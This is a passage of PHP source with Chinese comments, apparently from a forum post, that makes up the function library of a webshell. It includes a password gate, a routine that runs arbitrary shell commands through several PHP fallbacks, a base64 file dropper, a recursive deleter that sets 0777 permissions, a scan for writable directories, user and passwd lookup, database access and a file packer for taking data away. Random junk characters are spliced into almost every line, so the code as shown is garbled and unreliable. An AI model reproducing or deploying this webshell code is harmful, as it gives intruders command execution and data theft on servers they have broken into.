  1324. <?php$ J4 ~9 L) R! l! v0 U2 _

  1325. 2 t0 L# j, h5 D' \: y
  1326. /*======================================================) T& M3 ~) S) A  |; B9 ?5 ~
  1327. 函数库
    * I  H: |' ]: e3 M+ u! P  \6 G5 ?
  1328. ======================================================*/
    : O" P+ Z1 W2 p+ u& I
  1329. 7 v% L: u: M' J2 M3 _
  1330. function m($msg) {2 w% c. {% L7 u) \# C
  1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';! {& Q/ o: u! d/ Z6 Z$ ]
  1332.         echo $msg;( O6 o1 i. b! }7 G
  1333.         echo '</div>';% F" q+ I6 t$ R
  1334. }& v% l! `% ], U/ ?( L( j
  1335. function scookie($key, $value, $life = 0, $prefix = 1) {. f; s, r) b4 Y( i
  1336.         global $admin, $timestamp, $_SERVER;( Z: K9 u. |; d3 c' s
  1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
    5 H0 b0 s0 C$ A- W  J$ r
  1338.         $life = $life ? $life : $admin['cookielife'];
    . N# ~0 g& h1 t# O1 Z; q* D
  1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;3 i. q1 s0 T5 g% u
  1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
    4 G  B; ^; B  l1 D) Q3 E
  1341. }        , @# F: }/ m% L  e4 b5 L
  1342. function multi($num, $perpage, $curpage, $tablename) {8 K% L2 A; K5 Z' u# s
  1343.         $multipage = '';+ \4 i$ i7 B8 R
  1344.         if($num > $perpage) {( g; A6 k1 H- l1 g! H
  1345.                 $page = 10;9 o+ U2 q2 P/ s: J& r; A2 s8 B
  1346.                 $offset = 5;
      ^+ `6 u4 b& [: ^; U
  1347.                 $pages = @ceil($num / $perpage);
    6 `" W* ]3 M$ `0 U% A( b
  1348.                 if($page > $pages) {5 q' ^9 k( H7 b6 \1 ^9 E- M' L$ C. @
  1349.                         $from = 1;
    ; {" Z! w  r, b+ G0 q. l/ [
  1350.                         $to = $pages;
    + M4 z: p4 S9 W8 K
  1351.                 } else {
    " K% o$ l2 d2 A2 i( N, T
  1352.                         $from = $curpage - $offset;& c. c. k3 ?% o2 t) G0 }+ `
  1353.                         $to = $curpage + $page - $offset - 1;7 \& v2 {" _& ?2 |% c  \. t0 O
  1354.                         if($from < 1) {
    / P+ [1 j+ D5 M/ e
  1355.                                 $to = $curpage + 1 - $from;
    4 M8 _+ W  y# P( d8 z5 `4 E/ }8 h
  1356.                                 $from = 1;
      i9 a" v3 e; J, ]" U& F
  1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {: k7 c# Q  r2 q
  1358.                                         $to = $page;1 f$ S8 V6 e+ N" c" N1 D
  1359.                                 }
    ( q" V& \1 ]5 b' \6 `
  1360.                         } elseif($to > $pages) {
    8 v4 e3 l2 z$ k1 U5 \  {3 ?$ u
  1361.                                 $from = $curpage - $pages + $to;: L3 ^0 k4 _, i( X6 _
  1362.                                 $to = $pages;4 w% T/ S, Y" ]  N0 V1 I
  1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {# U* T5 o1 p: b6 g+ g
  1364.                                         $from = $pages - $page + 1;
    0 a6 }+ G0 e& f: d0 Q
  1365.                                 }
    , H9 t& f6 E5 ]( ^' V, E9 [2 y
  1366.                         }* U3 f6 p5 L! g( L5 Q
  1367.                 }
    / ~; y# |) Y: M+ G
  1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');. B) z, h1 v) X" N
  1369.                 for($i = $from; $i <= $to; $i++) {
    8 P" Y: W/ P$ s. p& Y; F
  1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
    5 E5 ]' e/ d' J, ~0 D! \4 }
  1371.                 }& f- e5 k+ |' I* K
  1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');: W& q& k# l: x4 O( D5 Q0 G$ X
  1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';7 t$ ^, V$ ]' y1 r! y0 p9 x. S' K
  1374.         }
    $ V' k8 i/ b7 l* @7 h4 n7 e% n
  1375.         return $multipage;7 G' s* ^; \; W/ ^- r( |3 \: y
  1376. }4 w2 y, v7 @7 j- R- ~: H
  1377. // 登陆入口
    % w% i( B* d5 f3 l: K; I3 x
  1378. function loginpage() {, W; A  C9 j- l: Z. Z) L1 J! R
  1379. ?>( \! r0 y2 m' y
  1380.         <style type="text/css">
    5 n5 [5 k# n$ q5 G/ ^  n
  1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
    ' q$ D: R7 \+ L
  1382.         </style>4 p. Q2 O7 `# I. ~- I4 z
  1383.         <form method="POST" action="">
    ! E2 H% R2 {) x& m
  1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">" f( m$ Y; l1 @; J  g
  1385.         <input type="hidden" name="doing" value="login">
    , M$ T* v2 e3 n  f! ]3 P! d
  1386.         <input type="submit" value="Login">
    ' M; ^5 h: J7 k8 [: V% J! }# s
  1387.         </form>
    & V/ z& j( ]/ P
  1388. <?php
    5 w  C  e( H& N* S7 k( M6 t7 s
  1389.         exit;4 b0 F" {" j" M7 i3 D
  1390. }//end loginpage()
    ) N3 e* ?" B5 k6 z+ e8 {

  1391. ' x5 F8 y1 Q2 R, b
  1392. function execute($cfe) {
    0 W( k. F4 Z6 b; `* [
  1393.         $res = '';
    " C- r8 B$ v0 G: ]4 z9 E% j1 [( f
  1394.         if ($cfe) {+ V+ p  |" B& J6 \
  1395.                 if(function_exists('exec')) {
    ! G, ?0 f" C: k3 p
  1396.                         @exec($cfe,$res);
    ; \+ M) v& Q, k' t" Z7 W, O
  1397.                         $res = join("\n",$res);
    ; ^; K+ I! Q8 ]/ Q
  1398.                 } elseif(function_exists('shell_exec')) {# l! i$ z1 F4 K% ^9 j
  1399.                         $res = @shell_exec($cfe);
    4 t9 l7 u9 s) s* n+ L
  1400.                 } elseif(function_exists('system')) {
    : a( x2 b4 s  C! b
  1401.                         @ob_start();
    + e# d) X4 Q1 E$ T
  1402.                         @system($cfe);- p" U5 T7 y( ~! Y( z- k
  1403.                         $res = @ob_get_contents();  Z. N( u2 Z3 T
  1404.                         @ob_end_clean();
    $ ]) R3 r5 T3 W2 Z, o3 N* g2 B
  1405.                 } elseif(function_exists('passthru')) {: `) S- [: i# W! c* |( k: R
  1406.                         @ob_start();
    # V2 t1 r+ M; K0 e
  1407.                         @passthru($cfe);" y" ~: W3 l2 @
  1408.                         $res = @ob_get_contents();- P6 u& a. C, z. w
  1409.                         @ob_end_clean();
    7 J5 o# D3 ]7 ^6 ?
  1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {5 O7 M7 `" {: U1 J
  1411.                         $res = '';* r* L% d. ?: h, Q3 Y: M% l1 z/ k) S7 X
  1412.                         while(!@feof($f)) {
    ( T! ~# K/ ~( V7 q3 l% i
  1413.                                 $res .= @fread($f,1024); 4 X1 ^5 N7 u' I) @6 ?9 F
  1414.                         }
    ) m1 V$ f: c: s6 J  N. K
  1415.                         @pclose($f);
    6 w! g* E4 X! Q5 K( T
  1416.                 }
    * S5 j4 N" B1 n9 P
  1417.         }0 r& s8 A( r/ x, p0 p+ e3 j2 C4 q
  1418.         return $res;/ L* Q% q3 M' N2 A( L' Y
  1419. }2 J5 u5 M% \7 z0 D) ?
  1420. function which($pr) {$ }/ M# l/ w( R1 H* C
  1421.         $path = execute("which $pr");4 u( Q8 [. c% o1 K& B6 F2 L
  1422.         return ($path ? $path : $pr);
    8 Z4 ^' l3 a9 S5 z+ r
  1423. }+ B6 D" i$ P' h

  1424. / W! ^+ N& |$ g' `
  1425. function cf($fname,$text){
    $ _2 _1 Z( {4 {# i' K5 Z4 }3 N
  1426.         if($fp=@fopen($fname,'w')) {
    / {/ B4 P/ f. [; a$ R8 X
  1427.                 @fputs($fp,@base64_decode($text));- S3 d6 [1 l- V( x
  1428.                 @fclose($fp);1 ^2 n( T$ G/ _( `/ O: e! a
  1429.         }
    " [: b( H* a1 a# U7 }, K
  1430. }$ e! c% Z* |' I7 e, g
  1431. ; I$ C, }: U! D0 |8 J( X
  1432. // 页面调试信息9 X4 E. o$ r$ T+ t) X$ U
  1433. function debuginfo() {
    0 o! v- X& S3 m. V3 ^
  1434.         global $starttime;. V5 {" E- @" I# S
  1435.         $mtime = explode(' ', microtime());
    3 n3 Z- B% d$ \5 r4 j
  1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
    * ^' `9 q8 U6 [- d; t& p& r
  1437.         echo 'Processed in '.$totaltime.' second(s)';- y4 }8 W3 W8 v- a+ e  _
  1438. }
    . f7 Z- \$ P/ Z- h" E2 Y7 B5 }

  1439. 4 v- R' h0 L  v9 A0 s
  1440. //连接数据库
      t9 ~2 {4 ^$ `  E2 K# ~
  1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
    ! r- y2 F/ ~, Z$ {2 K
  1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
    + k, R, ]# y4 O: |+ D" i0 Z+ L
  1443.                 p('<h2>Can not connect to MySQL server</h2>');
    8 z) \# W, f1 j7 q! x1 l
  1444.                 exit;+ Z% c$ y! w% E' _
  1445.         }: `  \5 J$ f! O. Q9 G: U
  1446.         if($link && $dbname) {) h! [  D4 ^+ G. O% x
  1447.                 if (!@mysql_select_db($dbname, $link)) {1 `+ j) R) J: n% o. b6 e
  1448.                         p('<h2>Database selected has error</h2>');% w9 g3 F2 X! p% ~$ n* l
  1449.                         exit;
    7 g" W  k% |9 I- k& e
  1450.                 }
    / e8 }; ?: }7 Y) o% t. {1 W1 E* p: C
  1451.         }: U6 `1 _: Z' m5 U+ k
  1452.         if($link && mysql_get_server_info() > '4.1') {4 i. W3 B4 R; L' m
  1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {$ I/ {' R4 R4 P" g
  1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
    $ I% D% ]1 v4 Y, q6 y9 c' p& c
  1455.                 }1 v* |) H- N: N! _# |/ u9 B
  1456.         }
    + }% Y# d! M3 {$ V
  1457.         return $link;
    $ ?8 C  P) A$ g4 I' x$ N
  1458. }' @9 `- z, H- j% E: n' t
  1459. 5 R5 v2 X+ T- n! p) t; s
  1460. // 去掉转义字符
    ( Z0 y7 `. M* h; h0 Q6 J# x5 I! @" J* H
  1461. function s_array(&$array) {" J5 g3 D$ O% [( s
  1462.         if (is_array($array)) {
    ; z. H, G9 b2 G, N
  1463.                 foreach ($array as $k => $v) {
    . L3 P5 ?! s5 t8 Q7 z1 k, k! U
  1464.                         $array[$k] = s_array($v);, N, ?+ P) X  ^/ D) X
  1465.                 }3 Z4 k  x7 E" e" a
  1466.         } else if (is_string($array)) {
    $ @! f1 [6 F/ ^% `
  1467.                 $array = stripslashes($array);) g; u5 I8 x. k1 G
  1468.         }; ^& p9 _( y" R* I& q) k
  1469.         return $array;! t4 a# S! ~6 F: o) S; _
  1470. }
    * l4 S  t2 V/ s2 |' A% m7 s

  1471. 6 e3 i  H3 Q0 S0 @+ l% N" U
  1472. // 清除HTML代码- p3 L5 d4 b6 p8 Q7 i
  1473. function html_clean($content) {
    $ Z0 ]9 W9 e7 g2 R
  1474.         $content = htmlspecialchars($content);
    ( D6 Z4 }2 q- I+ r! `
  1475.         $content = str_replace("\n", "<br />", $content);+ W. b' ]! ]# R8 Q& J) n
  1476.         $content = str_replace("  ", "  ", $content);
    & E+ v8 R) I5 p) @1 B
  1477.         $content = str_replace("\t", "    ", $content);
    & \. O) Q& I) B
  1478.         return $content;3 h$ w4 ^& ~' c0 ?; Q  v
  1479. }7 u8 e( A" d  m

  1480. 8 o! s5 l, S# u( [) B6 |
  1481. // 获取权限: X4 _8 R8 Z; W  v- N
  1482. function getChmod($filepath){6 t% ~5 V* M% U3 x- `5 G/ E
  1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);
    & `6 b6 h- R: B  V# e' Z1 p7 V6 c8 F7 ]' Q
  1484. }
    3 o, \; P% o4 g: T6 _; j

  1485. 1 @% y3 @' I  f3 C
  1486. function getPerms($filepath) {2 P; R. v) U" s6 K7 j/ Q& x
  1487.         $mode = @fileperms($filepath);
    ' m" O* t" i3 B5 q, D' z1 w
  1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
    8 ?& L) n3 U: K
  1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
    / h- d% ?/ k1 T
  1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}3 z$ Q9 S1 y% s% J( C$ i6 T
  1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
    # K6 Z9 Y: n' q7 G
  1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}* ?3 K# y, Y* h) [4 ?6 Z& w
  1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
    " m- q% E5 a$ {. m3 M
  1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}  R. G4 N/ p! T6 a/ ]1 \
  1495.         else {$type = '?';}
    1 `+ m0 O4 |1 K
  1496. ! ]4 J: D5 j$ {$ N" c
  1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
    1 k& {4 F# I. Z
  1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
    7 [% i4 F& S4 y% T6 R& H* r
  1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
    5 u; s# a2 {0 ]: [& u1 Y0 g
  1500.         $group['read'] = ($mode & 00040) ? 'r' : '-'; ' p( X% [( F) S" e1 ?7 W
  1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
      H# ~) [" x. H
  1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
    1 v7 K) k! j7 \" k6 [) {
  1503.         $world['read'] = ($mode & 00004) ? 'r' : '-';
    * t' }3 R# x; x+ f7 T! z! J+ I, C
  1504.         $world['write'] = ($mode & 00002) ? 'w' : '-'; / p) G( V; L  ~
  1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-'; - g" l9 H8 l/ ]2 Y- H7 m

  1506. ; M3 P9 A3 ^6 g5 L5 d
  1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
    4 u! j- J0 G/ ?/ Y9 s5 _' }
  1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
    4 |& @* d1 o- U% E; k
  1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
    & n8 k# h8 g6 {1 ~' M3 ^. q9 a( Z4 X
  1510. & ^# U% ?5 z2 y
  1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];- m9 E5 k" P7 [8 `
  1512. }% }' f- t8 `$ K5 [
  1513. , a' ^2 }  q, u: q6 {
  1514. function getUser($filepath)        {
    6 \+ P/ [- s7 P" y# k
  1515.         if (function_exists('posix_getpwuid')) {: r$ j# H+ S1 r6 N
  1516.                 $array = @posix_getpwuid(@fileowner($filepath));
    # r  ^: g; S& i3 O# k
  1517.                 if ($array && is_array($array)) {
    * v0 A4 q; m3 Q+ \
  1518.                         return ' / <a href="#" title="User: '.$array['name'].'
    4 p2 n; O% i( z5 _; J+ t/ d
  1519. Passwd: '.$array['passwd'].'
    7 x3 M, Z4 Q% K/ i6 _; [
  1520. Uid: '.$array['uid'].'
    ; N7 o/ x9 i1 X! N8 o' |+ w
  1521. gid: '.$array['gid'].'
    6 F7 ]: r$ m9 i2 g/ v8 @
  1522. Gecos: '.$array['gecos'].'
    5 i% [) ]3 d' }- J2 T. k5 H. ]
  1523. Dir: '.$array['dir'].'
    - B7 e0 l( U- G1 T6 `' L% a) f
  1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
    3 e! U- N5 [0 ^$ _! i6 W
  1525.                 }) O$ J  }" b; A; B5 o
  1526.         }0 B) A" K% K& j- J
  1527.         return '';/ Z- p) J' m/ M! i/ a6 Z
  1528. }
    / o* x& ^4 y% i

  1529. $ H1 K! e0 z: m8 p
  1530. // 删除目录
    7 x) ^* w! g0 [# R. b3 g; c1 T
  1531. function deltree($deldir) {
    - Y& N% h1 W5 a, s5 H
  1532.         $mydir=@dir($deldir);        ! h% t5 ?4 b+ D; z$ a9 w1 X3 m
  1533.         while($file=$mydir->read())        {                 4 h# t; r; a# Y, J
  1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { ' E9 x6 u- B: r
  1535.                         @chmod($deldir.'/'.$file,0777);7 D$ r: V& M& Z9 q5 ]
  1536.                         deltree($deldir.'/'.$file);
    , }8 a( U  D$ \$ F8 T& I
  1537.                 }: G5 z" c5 o! J  ~* r
  1538.                 if (is_file($deldir.'/'.$file)) {( ], q' ~; b# |' b
  1539.                         @chmod($deldir.'/'.$file,0777);
    3 G2 n3 I  _9 U- V( K" T
  1540.                         @unlink($deldir.'/'.$file);
    , _" o  j. A6 F* w: O
  1541.                 }9 a+ B& q, N. i5 x5 S- ^5 y
  1542.         }
    # Z" t. r/ m( v
  1543.         $mydir->close();
    + G2 A  N5 l0 I( _2 _3 m- _7 s
  1544.         @chmod($deldir,0777);' u/ j% W' X7 s8 N5 t
  1545.         return @rmdir($deldir) ? 1 : 0;3 j, L; b: d( @4 J
  1546. }6 h* Z* M1 j7 |; O' x& C* |
  1547. 1 h5 L; U# y- _# V. Q, S* z
  1548. // 表格行间的背景色替换
    * q9 D' \9 B# c+ {+ }7 k
  1549. function bg() {. A, E* K5 m( c( ?/ ~# K. S1 r
  1550.         global $bgc;
    % S, n6 Z1 n% m, d; o5 s* d
  1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';  K) D0 L. K& B% u
  1552. }% S) V+ _( f: O; P/ M& n

  1553. . J- W3 _: _# T7 P
  1554. // 获取当前的文件系统路径$ G, D) q7 M9 c2 F
  1555. function getPath($scriptpath, $nowpath) {& E& Y* r' f( o6 x
  1556.         if ($nowpath == '.') {- R5 R! k3 x; @0 D
  1557.                 $nowpath = $scriptpath;9 F+ r$ p) D7 n1 w3 h3 x! B
  1558.         }! q, j+ p& {: c% H8 U% F% z( C
  1559.         $nowpath = str_replace('\\', '/', $nowpath);7 j+ e' v$ E* N3 E
  1560.         $nowpath = str_replace('//', '/', $nowpath);- w3 e5 J7 d2 M
  1561.         if (substr($nowpath, -1) != '/') {
    * T1 K2 Y, n4 Y  r0 @
  1562.                 $nowpath = $nowpath.'/';
    . @( Y( i( w6 I5 A3 h8 r
  1563.         }
    + T8 l  q3 L' K
  1564.         return $nowpath;
    $ g7 X. _; \$ S* \0 u1 D4 X, j
  1565. }; H9 X' O# D$ B* D7 |% e

  1566. 2 @4 M4 ?! ^! w* G1 Y
  1567. // 获取当前目录的上级目录2 a2 G) i6 J; F
  1568. function getUpPath($nowpath) {
    7 e) I3 l& g$ k# t$ n- N. g' l
  1569.         $pathdb = explode('/', $nowpath);" `/ L' l+ N. L: ~; y
  1570.         $num = count($pathdb);
    5 n" N  Z) }( @" c+ [
  1571.         if ($num > 2) {
    " k! j2 v& A/ @& T9 \( w8 k9 x
  1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);
    % y9 s1 G+ w, ~0 }4 g
  1573.         }& l6 a$ F; F' Q+ {3 W
  1574.         $uppath = implode('/', $pathdb).'/';. V+ Z  M/ L: p( D6 q/ t( C4 [
  1575.         $uppath = str_replace('//', '/', $uppath);
    & ~2 j! U/ ^- X; r& @, f( U
  1576.         return $uppath;
    0 Q; J' j( {2 G
  1577. }4 {+ ?/ E( O! M( w

  1578. $ L+ I+ e1 O1 _# r; Y; x
  1579. // 检查PHP配置参数! O- }7 l1 v- B; h; b' I) F, o* U* `
  1580. function getcfg($varname) {& c! p1 Y. F" H. I+ R
  1581.         $result = get_cfg_var($varname);
    5 g% X9 ^3 O5 G0 A  @4 t3 r
  1582.         if ($result == 0) {
    & |4 o# B( B1 ]* w  d, C: P" @
  1583.                 return 'No';3 {0 f0 k, F, [" M
  1584.         } elseif ($result == 1) {
    8 F8 b6 K5 n7 j; D& d& |
  1585.                 return 'Yes';- z0 p1 R' m4 I5 @% G$ E+ S; a
  1586.         } else {/ b# N6 ~& m8 w+ [
  1587.                 return $result;
    0 A! {0 k9 k9 k
  1588.         }* M1 I% y# o# V& ], n& R
  1589. }: c  ~$ W! t! h& z  g5 i! X
  1590. % r5 A3 K4 N: K& d3 B/ {+ T2 W
  1591. // 检查函数情况
    8 i' c! j7 m2 l! ]. Q0 V
  1592. function getfun($funName) {! K& G) e2 c9 A6 i5 x" R% _' L( p
  1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
    * a1 W+ |$ d* ^- P( c3 t
  1594. }  u0 F" f6 n, ^. H5 }$ ~

  1595.   C' L$ o  z( _( E5 I" T, X! X
  1596. function GetList($dir){8 t% g9 S% d# ]8 S3 P
  1597.         global $dirdata,$j,$nowpath;9 `( l& F0 l) |- G
  1598.         !$j && $j=1;
    ) T( x& l" e0 r2 f
  1599.         if ($dh = opendir($dir)) {
    0 I0 P% m8 i5 |5 ~7 B1 z% Q# ~
  1600.                 while ($file = readdir($dh)) {) f" J: a9 Y2 r5 U% C/ v
  1601.                         $f=str_replace('//','/',$dir.'/'.$file);2 J, Q9 g- C" N: D; Z4 x+ G: E
  1602.                         if($file!='.' && $file!='..' && is_dir($f)){. P; R0 U7 T/ {" |1 {9 p' {& m
  1603.                                 if (is_writable($f)) {; k0 t( j$ c+ m) i3 S
  1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
    + q; r' p3 c5 J# ?2 b' T) K; ~. P
  1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));8 ]( A5 |9 e# Z; e: Q+ H% e7 D
  1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);8 s8 \  P: b9 S8 F, ?' Y
  1607.                                         $dirdata[$j]['dirperm']=getPerms($f);
    / n) a/ l3 o0 \, h
  1608.                                         $dirdata[$j]['dirlink']=ue($dir);" K- d+ P  a4 w3 n) N$ E
  1609.                                         $dirdata[$j]['server_link']=$f;3 E( Y, w; c; ~9 c  @: v
  1610.                                         $dirdata[$j]['client_link']=ue($f);2 p$ k9 m# Q5 Z  N) q
  1611.                                         $j++;
    8 b: Q- P1 Z& @; `9 w
  1612.                                 }" m8 m" W- E3 B; P
  1613.                                 GetList($f);! K$ J3 D& `  @! N% e' c& Y
  1614.                         }
    3 z5 F; J1 O  F1 A( m# S4 l
  1615.                 }, Y* z  b5 f( K  Q: Z5 f
  1616.                 closedir($dh);" [. E! g. O/ a6 x
  1617.                 clearstatcache();
    , \" F& O8 x0 J; E* V
  1618.                 return $dirdata;
    , s- d6 K" C, n% s6 i% ?
  1619.         } else {9 M6 S) b4 t) k/ {. }, ?/ a
  1620.                 return array();
    5 `; N: P& K: u9 ]5 R3 m4 j, N1 t
  1621.         }
    , I: l  T  @' V
  1622. }& [! |# g/ e! V9 p
  1623. 4 l8 y% b6 [- [
  1624. function qy($sql) {
    7 E8 i. I7 z5 y* l
  1625.         //echo $sql.'<br>';
    : w3 b1 C3 n+ H6 I) _
  1626.         $res = $error = '';
    0 }0 s& e" N" `0 z8 W( d3 i  i
  1627.         if(!$res = @mysql_query($sql)) { ; Y2 P% I6 s2 W5 ?9 ~% Y/ G
  1628.                 return 0;) Y. u' E2 x" X$ g# @: X
  1629.         } else if(is_resource($res)) {
    # }& I. e* z2 v. c! t
  1630.                 return 1;
    * X( }2 o9 P, u. \4 C5 Y- x" j
  1631.         } else {/ ]3 L2 C( y; L9 l8 z/ w+ l
  1632.                 return 2;
    0 B9 [" s0 y- o) L. d
  1633.         }        ( J. y. n" U( P& R* A
  1634.         return 0;) {" S' }  q" L( R
  1635. }
    7 D4 F, `8 l: M; u. v; }4 l
  1636. # _0 v% X" U, O; ]! n+ ~
  1637. function q($sql) { ) P$ c$ Y! w9 f9 ^9 s* H# n1 F& t( ?$ S
  1638.         return @mysql_query($sql);
    ( K- }4 Y$ L) @" {
  1639. }) d# o/ H) p) V% a' ^# _
  1640. * }$ g; Q* z3 P' o6 e
  1641. function fr($qy){
    & f% ~6 c' D* r3 C2 {6 u4 i
  1642.         mysql_free_result($qy);
    : o& }, a# t, i
  1643. }
      V0 w( ?8 Y* K; K# g5 b
  1644. % B8 G3 m- F& u% p; v
  1645. function sizecount($size) {
    : a) n, Z3 l0 I, E2 E: K) n) w
  1646.         if($size > 1073741824) {
    $ C. Y" C! K5 a) c# H
  1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';. |# n. h9 F5 w1 }* c' P
  1648.         } elseif($size > 1048576) {" c& C0 i8 F9 U( J
  1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';& \8 R  X' S: Q, t
  1650.         } elseif($size > 1024) {' H0 u* ?, o  o- M4 u0 g% W) D
  1651.                 $size = round($size / 1024 * 100) / 100 . ' K';
    ) K: @7 R" Y0 A6 O
  1652.         } else {
    3 P- C0 r6 T7 t
  1653.                 $size = $size . ' B';
    % E8 x- }4 i7 D5 y4 q7 }9 d
  1654.         }
    - ?  R$ ]- J4 W& D' h
  1655.         return $size;& ~4 ~3 b( z7 @5 _0 h
  1656. }
    ; x8 J  @6 P  T

  1657. ; f1 J; y+ n$ J3 _1 W3 f2 O6 I" O
  1658. // 压缩打包类
    - j  L/ i% M; h; d( F$ H
  1659. class PHPZip{
    0 ~# L3 j- G" _" ^0 k! a
  1660.         var $out='';
    9 m) b1 H8 ]) Y  f, D2 p& P! i, P! P
  1661.         function PHPZip($dir)        {
    0 h! ?6 p7 o/ q4 t* ]' ~) h  D
  1662.                 if (@function_exists('gzcompress'))        {! P, v! t  J5 S' _8 y
  1663.                         $curdir = getcwd();7 [8 k7 Q0 F+ h. f* H
  1664.                         if (is_array($dir)) $filelist = $dir;
    5 T! z& t6 v6 L. ^
  1665.                         else{
    6 ]' @' }9 q4 n/ i. ^0 v9 ~
  1666.                                 $filelist=$this -> GetFileList($dir);//文件列表& V. l( ]3 Z3 g" r" d6 n/ E
  1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
    ! T4 ?; |# c: s8 c4 Y: f
  1668.                         }3 r2 p/ t1 y  L% w6 `- Y' @" c" j
  1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);% }' n$ p' Q  R1 K$ ^' v
  1670.                         else chdir($curdir);
    & O# M8 N8 k2 Z8 v% X7 g
  1671.                         if (count($filelist)>0){+ N# [7 N' S" Z4 s0 ]
  1672.                                 foreach($filelist as $filename){: N. W8 b4 W2 b- w
  1673.                                         if (is_file($filename)){1 t' p) l% j" {9 q% E
  1674.                                                 $fd = fopen ($filename, 'r');
    * M/ W; B  R  a( P: R0 R, S8 c
  1675.                                                 $content = @fread ($fd, filesize($filename));  |  e5 `5 k' ?; D( F! V" ?
  1676.                                                 fclose ($fd);
    + e% l5 L$ N) L3 @; Y7 E6 x$ k
  1677.                                                 if (is_array($dir)) $filename = basename($filename);6 @3 l$ e- N5 C. q; p1 M6 i
  1678.                                                 $this -> addFile($content, $filename);
    2 E6 S- h1 `$ q7 O
  1679.                                         }
    0 [3 }9 y# Y) }7 ^+ v0 Z6 ~( B$ [
  1680.                                 }
    0 m+ ]* d5 U. d3 M. O
  1681.                                 $this->out = $this -> file();
    % d: q5 |; ^' s1 h) o& h8 ~2 `
  1682.                                 chdir($curdir);/ i& _" A: c* a: d/ _' s) }# T! R) \
  1683.                         }1 h9 g# R& ]1 L! b/ z; r6 y& D
  1684.                         return 1;
    , l% ^! _. e8 G7 Q4 ~2 a
  1685.                 }
    % Y3 i& u* [: S& p5 o! H3 f
  1686.                 else return 0;) {0 D; O+ T. E  I" c. }# F$ }
  1687.         }: W7 o6 N! S' ?/ }9 C0 E9 g7 O& G- p% Z8 d/ C
  1688. ; K" j0 T+ ^# S! I. f% R
  1689.         // 获得指定目录文件列表3 }7 j9 e0 `& R4 [
  1690.         function GetFileList($dir){
    " r" z" o4 j$ n4 |' j1 ^
  1691.                 static $a;" f% T6 }. b% L/ `
  1692.                 if (is_dir($dir)) {
    " U/ q  X7 W0 Q9 z
  1693.                         if ($dh = opendir($dir)) {; r' D6 h$ M% l: s2 f3 z8 C8 v
  1694.                                 while ($file = readdir($dh)) {7 |2 G: T& m( Z/ [( P7 M- T* Q# C* ]
  1695.                                         if($file!='.' && $file!='..'){
    1 k) p5 C, O2 y+ `0 o1 \2 S
  1696.                                                 $f=$dir .'/'. $file;
    3 n+ n9 p  ^& G! c
  1697.                                                 if(is_dir($f)) $this->GetFileList($f);
    : T+ ]1 |% w# G
  1698.                                                 $a[]=$f;) Q. C, v- N& H! `+ g
  1699.                                         }5 S+ m. f& s9 _
  1700.                                 }
      c' R% X: x% g% K: y" L
  1701.                                 closedir($dh);" }' x. k3 U4 i$ y/ {
  1702.                         }; F, I! L$ D7 T( T
  1703.                 }
    : h+ M2 d  r) \1 C1 _
  1704.                 return $a;! G; A3 J& x, m, K
  1705.         }
